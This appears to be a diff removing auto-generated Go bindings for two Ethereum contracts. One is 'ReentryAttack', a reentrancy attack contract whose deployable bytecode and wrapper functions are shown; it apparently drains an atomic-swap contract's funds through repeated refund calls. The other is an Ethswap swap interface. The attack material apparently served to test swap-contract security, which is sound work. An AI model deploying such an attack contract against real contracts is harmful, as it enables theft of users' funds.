"[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"inputs\":[],\"name\":\"allYourBase\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"areBelongToUs\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"es\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"sh\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"}],\"name\":\"setUsUpTheBomb\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}]", - Bin: "0x608060405234801561001057600080fd5b50600080546001600160a01b0319163317905561029b806100326000396000f3fe60806040526004361061003f5760003560e01c8063627599ee146100595780638da5cb5b1461006e5780638f110770146100aa578063b9ce28a4146100bf575b674563918244f40000471015610057576100576100d2565b005b34801561006557600080fd5b5061005761013b565b34801561007a57600080fd5b5060005461008e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b657600080fd5b506100576100d2565b6100576100cd36600461021f565b610178565b600254600154604051633924fddb60e11b81526001600160a01b0390921691637249fbb6916101079160040190815260200190565b600060405180830381600087803b15801561012157600080fd5b505af1158015610135573d6000803e3d6000fd5b50505050565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610175573d6000803e3d6000fd5b50565b600280546001600160a01b0319166001600160a01b03868116918217909255600185905560405163ae05214760e01b8152600481018590526024810186905291831660448301529063ae0521479034906064016000604051808303818588803b1580156101e457600080fd5b505af11580156101f8573d6000803e3d6000fd5b505050505050505050565b80356001600160a01b038116811461021a57600080fd5b919050565b6000806000806080858703121561023557600080fd5b61023e85610203565b9350602085013592506040850135915061025a60608601610203565b90509295919450925056fea2646970667358221220d7024891f783003906c591efe08e8c0f88a6d7f6504b954a0c8dc1e669467f0e64736f6c63430008120033", -} - -// ReentryAttackABI is the input ABI used to generate the binding from. -// Deprecated: Use ReentryAttackMetaData.ABI instead. -var ReentryAttackABI = ReentryAttackMetaData.ABI - -// ReentryAttackBin is the compiled bytecode used for deploying new contracts. -// Deprecated: Use ReentryAttackMetaData.Bin instead. -var ReentryAttackBin = ReentryAttackMetaData.Bin - -// DeployReentryAttack deploys a new Ethereum contract, binding an instance of ReentryAttack to it. -func DeployReentryAttack(auth *bind.TransactOpts, backend bind.ContractBackend) (common.Address, *types.Transaction, *ReentryAttack, error) { - parsed, err := ReentryAttackMetaData.GetAbi() - if err != nil { - return common.Address{}, nil, nil, err - } - if parsed == nil { - return common.Address{}, nil, nil, errors.New("GetABI returned nil") - } - - address, tx, contract, err := bind.DeployContract(auth, *parsed, common.FromHex(ReentryAttackBin), backend) - if err != nil { - return common.Address{}, nil, nil, err - } - return address, tx, &ReentryAttack{ReentryAttackCaller: ReentryAttackCaller{contract: contract}, ReentryAttackTransactor: ReentryAttackTransactor{contract: contract}, ReentryAttackFilterer: ReentryAttackFilterer{contract: contract}}, nil -} - -// ReentryAttack is an auto generated Go binding around an Ethereum contract. -type ReentryAttack struct { - ReentryAttackCaller // Read-only binding to the contract - ReentryAttackTransactor // Write-only binding to the contract - ReentryAttackFilterer // Log filterer for contract events -} - -// ReentryAttackCaller is an auto generated read-only Go binding around an Ethereum contract. -type ReentryAttackCaller struct { - contract *bind.BoundContract // Generic contract wrapper for the low level calls -} - -// ReentryAttackTransactor is an auto generated write-only Go binding around an Ethereum contract. -type ReentryAttackTransactor struct { - contract *bind.BoundContract // Generic contract wrapper for the low level calls -} - -// ReentryAttackFilterer is an auto generated log filtering Go binding around an Ethereum contract events. -type ReentryAttackFilterer struct { - contract *bind.BoundContract // Generic contract wrapper for the low level calls -} - -// ReentryAttackSession is an auto generated Go binding around an Ethereum contract, -// with pre-set call and transact options. -type ReentryAttackSession struct { - Contract *ReentryAttack // Generic contract binding to set the session for - CallOpts bind.CallOpts // Call options to use throughout this session - TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session -} - -// ReentryAttackCallerSession is an auto generated read-only Go binding around an Ethereum contract, -// with pre-set call options. -type ReentryAttackCallerSession struct { - Contract *ReentryAttackCaller // Generic contract caller binding to set the session for - CallOpts bind.CallOpts // Call options to use throughout this session -} - -// ReentryAttackTransactorSession is an auto generated write-only Go binding around an Ethereum contract, -// with pre-set transact options. -type ReentryAttackTransactorSession struct { - Contract *ReentryAttackTransactor // Generic contract transactor binding to set the session for - TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session -} - -// ReentryAttackRaw is an auto generated low-level Go binding around an Ethereum contract. -type ReentryAttackRaw struct { - Contract *ReentryAttack // Generic contract binding to access the raw methods on -} - -// ReentryAttackCallerRaw is an auto generated low-level read-only Go binding around an Ethereum contract. -type ReentryAttackCallerRaw struct { - Contract *ReentryAttackCaller // Generic read-only contract binding to access the raw methods on -} - -// ReentryAttackTransactorRaw is an auto generated low-level write-only Go binding around an Ethereum contract. -type ReentryAttackTransactorRaw struct { - Contract *ReentryAttackTransactor // Generic write-only contract binding to access the raw methods on -} - -// NewReentryAttack creates a new instance of ReentryAttack, bound to a specific deployed contract. -func NewReentryAttack(address common.Address, backend bind.ContractBackend) (*ReentryAttack, error) { - contract, err := bindReentryAttack(address, backend, backend, backend) - if err != nil { - return nil, err - } - return &ReentryAttack{ReentryAttackCaller: ReentryAttackCaller{contract: contract}, ReentryAttackTransactor: ReentryAttackTransactor{contract: contract}, ReentryAttackFilterer: ReentryAttackFilterer{contract: contract}}, nil -} - -// NewReentryAttackCaller creates a new read-only instance of ReentryAttack, bound to a specific deployed contract. -func NewReentryAttackCaller(address common.Address, caller bind.ContractCaller) (*ReentryAttackCaller, error) { - contract, err := bindReentryAttack(address, caller, nil, nil) - if err != nil { - return nil, err - } - return &ReentryAttackCaller{contract: contract}, nil -} - -// NewReentryAttackTransactor creates a new write-only instance of ReentryAttack, bound to a specific deployed contract. -func NewReentryAttackTransactor(address common.Address, transactor bind.ContractTransactor) (*ReentryAttackTransactor, error) { - contract, err := bindReentryAttack(address, nil, transactor, nil) - if err != nil { - return nil, err - } - return &ReentryAttackTransactor{contract: contract}, nil -} - -// NewReentryAttackFilterer creates a new log filterer instance of ReentryAttack, bound to a specific deployed contract. -func NewReentryAttackFilterer(address common.Address, filterer bind.ContractFilterer) (*ReentryAttackFilterer, error) { - contract, err := bindReentryAttack(address, nil, nil, filterer) - if err != nil { - return nil, err - } - return &ReentryAttackFilterer{contract: contract}, nil -} - -// bindReentryAttack binds a generic wrapper to an already deployed contract. -func bindReentryAttack(address common.Address, caller bind.ContractCaller, transactor bind.ContractTransactor, filterer bind.ContractFilterer) (*bind.BoundContract, error) { - parsed, err := abi.JSON(strings.NewReader(ReentryAttackABI)) - if err != nil { - return nil, err - } - return bind.NewBoundContract(address, parsed, caller, transactor, filterer), nil -} - -// Call invokes the (constant) contract method with params as input values and -// sets the output to result. The result type might be a single field for simple -// returns, a slice of interfaces for anonymous returns and a struct for named -// returns. -func (_ReentryAttack *ReentryAttackRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { - return _ReentryAttack.Contract.ReentryAttackCaller.contract.Call(opts, result, method, params...) -} - -// Transfer initiates a plain transaction to move funds to the contract, calling -// its default method if one is available. -func (_ReentryAttack *ReentryAttackRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { - return _ReentryAttack.Contract.ReentryAttackTransactor.contract.Transfer(opts) -} - -// Transact invokes the (paid) contract method with params as input values. -func (_ReentryAttack *ReentryAttackRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { - return _ReentryAttack.Contract.ReentryAttackTransactor.contract.Transact(opts, method, params...) -} - -// Call invokes the (constant) contract method with params as input values and -// sets the output to result. The result type might be a single field for simple -// returns, a slice of interfaces for anonymous returns and a struct for named -// returns. -func (_ReentryAttack *ReentryAttackCallerRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { - return _ReentryAttack.Contract.contract.Call(opts, result, method, params...) -} - -// Transfer initiates a plain transaction to move funds to the contract, calling -// its default method if one is available. -func (_ReentryAttack *ReentryAttackTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { - return _ReentryAttack.Contract.contract.Transfer(opts) -} - -// Transact invokes the (paid) contract method with params as input values. -func (_ReentryAttack *ReentryAttackTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { - return _ReentryAttack.Contract.contract.Transact(opts, method, params...) -} - -// Owner is a free data retrieval call binding the contract method 0x8da5cb5b. -// -// Solidity: function owner() view returns(address) -func (_ReentryAttack *ReentryAttackCaller) Owner(opts *bind.CallOpts) (common.Address, error) { - var out []interface{} - err := _ReentryAttack.contract.Call(opts, &out, "owner") - - if err != nil { - return *new(common.Address), err - } - - out0 := *abi.ConvertType(out[0], new(common.Address)).(*common.Address) - - return out0, err - -} - -// Owner is a free data retrieval call binding the contract method 0x8da5cb5b. -// -// Solidity: function owner() view returns(address) -func (_ReentryAttack *ReentryAttackSession) Owner() (common.Address, error) { - return _ReentryAttack.Contract.Owner(&_ReentryAttack.CallOpts) -} - -// Owner is a free data retrieval call binding the contract method 0x8da5cb5b. -// -// Solidity: function owner() view returns(address) -func (_ReentryAttack *ReentryAttackCallerSession) Owner() (common.Address, error) { - return _ReentryAttack.Contract.Owner(&_ReentryAttack.CallOpts) -} - -// AllYourBase is a paid mutator transaction binding the contract method 0x8f110770. -// -// Solidity: function allYourBase() returns() -func (_ReentryAttack *ReentryAttackTransactor) AllYourBase(opts *bind.TransactOpts) (*types.Transaction, error) { - return _ReentryAttack.contract.Transact(opts, "allYourBase") -} - -// AllYourBase is a paid mutator transaction binding the contract method 0x8f110770. -// -// Solidity: function allYourBase() returns() -func (_ReentryAttack *ReentryAttackSession) AllYourBase() (*types.Transaction, error) { - return _ReentryAttack.Contract.AllYourBase(&_ReentryAttack.TransactOpts) -} - -// AllYourBase is a paid mutator transaction binding the contract method 0x8f110770. -// -// Solidity: function allYourBase() returns() -func (_ReentryAttack *ReentryAttackTransactorSession) AllYourBase() (*types.Transaction, error) { - return _ReentryAttack.Contract.AllYourBase(&_ReentryAttack.TransactOpts) -} - -// AreBelongToUs is a paid mutator transaction binding the contract method 0x627599ee. -// -// Solidity: function areBelongToUs() returns() -func (_ReentryAttack *ReentryAttackTransactor) AreBelongToUs(opts *bind.TransactOpts) (*types.Transaction, error) { - return _ReentryAttack.contract.Transact(opts, "areBelongToUs") -} - -// AreBelongToUs is a paid mutator transaction binding the contract method 0x627599ee. -// -// Solidity: function areBelongToUs() returns() -func (_ReentryAttack *ReentryAttackSession) AreBelongToUs() (*types.Transaction, error) { - return _ReentryAttack.Contract.AreBelongToUs(&_ReentryAttack.TransactOpts) -} - -// AreBelongToUs is a paid mutator transaction binding the contract method 0x627599ee. -// -// Solidity: function areBelongToUs() returns() -func (_ReentryAttack *ReentryAttackTransactorSession) AreBelongToUs() (*types.Transaction, error) { - return _ReentryAttack.Contract.AreBelongToUs(&_ReentryAttack.TransactOpts) -} - -// SetUsUpTheBomb is a paid mutator transaction binding the contract method 0xb9ce28a4. -// -// Solidity: function setUsUpTheBomb(address es, bytes32 sh, uint256 refundTimestamp, address participant) payable returns() -func (_ReentryAttack *ReentryAttackTransactor) SetUsUpTheBomb(opts *bind.TransactOpts, es common.Address, sh [32]byte, refundTimestamp *big.Int, participant common.Address) (*types.Transaction, error) { - return _ReentryAttack.contract.Transact(opts, "setUsUpTheBomb", es, sh, refundTimestamp, participant) -} - -// SetUsUpTheBomb is a paid mutator transaction binding the contract method 0xb9ce28a4. -// -// Solidity: function setUsUpTheBomb(address es, bytes32 sh, uint256 refundTimestamp, address participant) payable returns() -func (_ReentryAttack *ReentryAttackSession) SetUsUpTheBomb(es common.Address, sh [32]byte, refundTimestamp *big.Int, participant common.Address) (*types.Transaction, error) { - return _ReentryAttack.Contract.SetUsUpTheBomb(&_ReentryAttack.TransactOpts, es, sh, refundTimestamp, participant) -} - -// SetUsUpTheBomb is a paid mutator transaction binding the contract method 0xb9ce28a4. -// -// Solidity: function setUsUpTheBomb(address es, bytes32 sh, uint256 refundTimestamp, address participant) payable returns() -func (_ReentryAttack *ReentryAttackTransactorSession) SetUsUpTheBomb(es common.Address, sh [32]byte, refundTimestamp *big.Int, participant common.Address) (*types.Transaction, error) { - return _ReentryAttack.Contract.SetUsUpTheBomb(&_ReentryAttack.TransactOpts, es, sh, refundTimestamp, participant) -} - -// Fallback is a paid mutator transaction binding the contract fallback function. -// -// Solidity: fallback() payable returns() -func (_ReentryAttack *ReentryAttackTransactor) Fallback(opts *bind.TransactOpts, calldata []byte) (*types.Transaction, error) { - return _ReentryAttack.contract.RawTransact(opts, calldata) -} - -// Fallback is a paid mutator transaction binding the contract fallback function. -// -// Solidity: fallback() payable returns() -func (_ReentryAttack *ReentryAttackSession) Fallback(calldata []byte) (*types.Transaction, error) { - return _ReentryAttack.Contract.Fallback(&_ReentryAttack.TransactOpts, calldata) -} - -// Fallback is a paid mutator transaction binding the contract fallback function. -// -// Solidity: fallback() payable returns() -func (_ReentryAttack *ReentryAttackTransactorSession) Fallback(calldata []byte) (*types.Transaction, error) { - return _ReentryAttack.Contract.Fallback(&_ReentryAttack.TransactOpts, calldata) -} - -// EthswapMetaData contains all meta data concerning the Ethswap contract. -var EthswapMetaData = &bind.MetaData{ - ABI: "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"}],\"name\":\"initiate\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"refund\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]", -} - -// EthswapABI is the input ABI used to generate the binding from. -// Deprecated: Use EthswapMetaData.ABI instead. -var EthswapABI = EthswapMetaData.ABI - -// Ethswap is an auto generated Go binding around an Ethereum contract. -type Ethswap struct { - EthswapCaller // Read-only binding to the contract - EthswapTransactor // Write-only binding to the contract - EthswapFilterer // Log filterer for contract events -} - -// EthswapCaller is an auto generated read-only Go binding around an Ethereum contract. -type EthswapCaller struct { - contract *bind.BoundContract // Generic contract wrapper for the low level calls -} - -// EthswapTransactor is an auto generated write-only Go binding around an Ethereum contract. -type EthswapTransactor struct { - contract *bind.BoundContract // Generic contract wrapper for the low level calls -} - -// EthswapFilterer is an auto generated log filtering Go binding around an Ethereum contract events. -type EthswapFilterer struct { - contract *bind.BoundContract // Generic contract wrapper for the low level calls -} - -// EthswapSession is an auto generated Go binding around an Ethereum contract, -// with pre-set call and transact options. -type EthswapSession struct { - Contract *Ethswap // Generic contract binding to set the session for - CallOpts bind.CallOpts // Call options to use throughout this session - TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session -} - -// EthswapCallerSession is an auto generated read-only Go binding around an Ethereum contract, -// with pre-set call options. -type EthswapCallerSession struct { - Contract *EthswapCaller // Generic contract caller binding to set the session for - CallOpts bind.CallOpts // Call options to use throughout this session -} - -// EthswapTransactorSession is an auto generated write-only Go binding around an Ethereum contract, -// with pre-set transact options. -type EthswapTransactorSession struct { - Contract *EthswapTransactor // Generic contract transactor binding to set the session for - TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session -} - -// EthswapRaw is an auto generated low-level Go binding around an Ethereum contract. -type EthswapRaw struct { - Contract *Ethswap // Generic contract binding to access the raw methods on -} - -// EthswapCallerRaw is an auto generated low-level read-only Go binding around an Ethereum contract. -type EthswapCallerRaw struct { - Contract *EthswapCaller // Generic read-only contract binding to access the raw methods on -} - -// EthswapTransactorRaw is an auto generated low-level write-only Go binding around an Ethereum contract. -type EthswapTransactorRaw struct { - Contract *EthswapTransactor // Generic write-only contract binding to access the raw methods on -} - -// NewEthswap creates a new instance of Ethswap, bound to a specific deployed contract. -func NewEthswap(address common.Address, backend bind.ContractBackend) (*Ethswap, error) { - contract, err := bindEthswap(address, backend, backend, backend) - if err != nil { - return nil, err - } - return &Ethswap{EthswapCaller: EthswapCaller{contract: contract}, EthswapTransactor: EthswapTransactor{contract: contract}, EthswapFilterer: EthswapFilterer{contract: contract}}, nil -} - -// NewEthswapCaller creates a new read-only instance of Ethswap, bound to a specific deployed contract. -func NewEthswapCaller(address common.Address, caller bind.ContractCaller) (*EthswapCaller, error) { - contract, err := bindEthswap(address, caller, nil, nil) - if err != nil { - return nil, err - } - return &EthswapCaller{contract: contract}, nil -} - -// NewEthswapTransactor creates a new write-only instance of Ethswap, bound to a specific deployed contract. -func NewEthswapTransactor(address common.Address, transactor bind.ContractTransactor) (*EthswapTransactor, error) { - contract, err := bindEthswap(address, nil, transactor, nil) - if err != nil { - return nil, err - } - return &EthswapTransactor{contract: contract}, nil -} - -// NewEthswapFilterer creates a new log filterer instance of Ethswap, bound to a specific deployed contract. -func NewEthswapFilterer(address common.Address, filterer bind.ContractFilterer) (*EthswapFilterer, error) { - contract, err := bindEthswap(address, nil, nil, filterer) - if err != nil { - return nil, err - } - return &EthswapFilterer{contract: contract}, nil -} - -// bindEthswap binds a generic wrapper to an already deployed contract. -func bindEthswap(address common.Address, caller bind.ContractCaller, transactor bind.ContractTransactor, filterer bind.ContractFilterer) (*bind.BoundContract, error) { - parsed, err := abi.JSON(strings.NewReader(EthswapABI)) - if err != nil { - return nil, err - } - return bind.NewBoundContract(address, parsed, caller, transactor, filterer), nil -} - -// Call invokes the (constant) contract method with params as input values and -// sets the output to result. The result type might be a single field for simple -// returns, a slice of interfaces for anonymous returns and a struct for named -// returns. -func (_Ethswap *EthswapRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { - return _Ethswap.Contract.EthswapCaller.contract.Call(opts, result, method, params...) -} - -// Transfer initiates a plain transaction to move funds to the contract, calling -// its default method if one is available. -func (_Ethswap *EthswapRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { - return _Ethswap.Contract.EthswapTransactor.contract.Transfer(opts) -} - -// Transact invokes the (paid) contract method with params as input values. -func (_Ethswap *EthswapRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { - return _Ethswap.Contract.EthswapTransactor.contract.Transact(opts, method, params...) -} - -// Call invokes the (constant) contract method with params as input values and -// sets the output to result. The result type might be a single field for simple -// returns, a slice of interfaces for anonymous returns and a struct for named -// returns. -func (_Ethswap *EthswapCallerRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { - return _Ethswap.Contract.contract.Call(opts, result, method, params...) -} - -// Transfer initiates a plain transaction to move funds to the contract, calling -// its default method if one is available. -func (_Ethswap *EthswapTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { - return _Ethswap.Contract.contract.Transfer(opts) -} - -// Transact invokes the (paid) contract method with params as input values. -func (_Ethswap *EthswapTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { - return _Ethswap.Contract.contract.Transact(opts, method, params...) -} - -// Initiate is a paid mutator transaction binding the contract method 0xae052147. -// -// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() -func (_Ethswap *EthswapTransactor) Initiate(opts *bind.TransactOpts, refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { - return _Ethswap.contract.Transact(opts, "initiate", refundTimestamp, secretHash, participant) -} - -// Initiate is a paid mutator transaction binding the contract method 0xae052147. -// -// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() -func (_Ethswap *EthswapSession) Initiate(refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { - return _Ethswap.Contract.Initiate(&_Ethswap.TransactOpts, refundTimestamp, secretHash, participant) -} - -// Initiate is a paid mutator transaction binding the contract method 0xae052147. -// -// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() -func (_Ethswap *EthswapTransactorSession) Initiate(refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { - return _Ethswap.Contract.Initiate(&_Ethswap.TransactOpts, refundTimestamp, secretHash, participant) -} - -// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. -// -// Solidity: function refund(bytes32 secretHash) returns() -func (_Ethswap *EthswapTransactor) Refund(opts *bind.TransactOpts, secretHash [32]byte) (*types.Transaction, error) { - return _Ethswap.contract.Transact(opts, "refund", secretHash) -} - -// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. -// -// Solidity: function refund(bytes32 secretHash) returns() -func (_Ethswap *EthswapSession) Refund(secretHash [32]byte) (*types.Transaction, error) { - return _Ethswap.Contract.Refund(&_Ethswap.TransactOpts, secretHash) -} - -// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. -// -// Solidity: function refund(bytes32 secretHash) returns() -func (_Ethswap *EthswapTransactorSession) Refund(secretHash [32]byte) (*types.Transaction, error) { - return _Ethswap.Contract.Refund(&_Ethswap.TransactOpts, secretHash) -}